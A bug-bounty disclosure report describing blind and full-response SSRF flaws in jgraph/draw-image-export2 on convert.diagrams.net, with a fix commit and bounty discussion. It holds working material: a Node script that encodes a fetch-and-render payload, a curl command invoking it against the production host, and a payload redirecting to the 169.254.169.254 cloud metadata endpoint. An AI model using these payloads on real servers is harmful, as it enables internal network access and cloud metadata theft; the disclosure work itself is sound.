Server Side Request Forgery in jgraph/draw-image-export2
Reported on
May 18th 2022
Description
There are two SSRF's in the draw-image-export2 repository, both work on the domain convert.diagrams.net
One is a Blind SSRF the other one a Full Response SSRF.
Blind SSRF
The first one is simple and can be invoked by accessing the following URL:
https://convert.diagrams.net/node/export?url=<remote url>
Once accessed, Node fetches the url (export.js:L420)
Full Response SSRF
The second one is a bit more complex, it uses Javascript inside the Puppeteer headless Chrome instance to fetch a remote url and display the content, which will be sent back to the attacker as an image. The payload can be generated using the following code:
const zlib = require('zlib');
const payload = "<script>fetch('http://local-or-remote-url').then(res => res.text()).then(data => obj = data).then(() => document.write(obj))</script>";
const encoded = encodeURIComponent(Buffer.from(zlib.deflateRawSync(Buffer.from(payload))).toString("base64"));
console.log(encoded);
Once generated invoke the SSRF using curl:
curl "https://convert.diagrams.net/node/export?html=<payload>" --output response.png
Possible fix
The url supplied to fetch needs to be checked before the request is made, and regarding the Full Response SSRF, it is possible to disable Javascript in Puppeteer, which limits the impact of the vulnerability. But it would still be possible to do a Blind SSRF using an <img>
tag for example.
Impact
This vulnerability is capable of stealing sensitive information and making requests as the server.
Update: It's also possible to leak information about the host using a payload like this:
<script>window.location.href='http://169.254.169.254/latest/dynamic/instance-identity/document';</script>
https://github.com/jgraph/draw-image-export2/commit/daa4eb72283616054ef04055dcf27477b482541c will be the fix.
Looks good! May it be possible to receive a slightly bigger bounty? Since it's a Full Response SSRF and can be exploited on production to leak information about the host etc.
@admin We don't have this repo covered yet. Is it possible to assign our $900 high bounty here as a one off and add to our billing?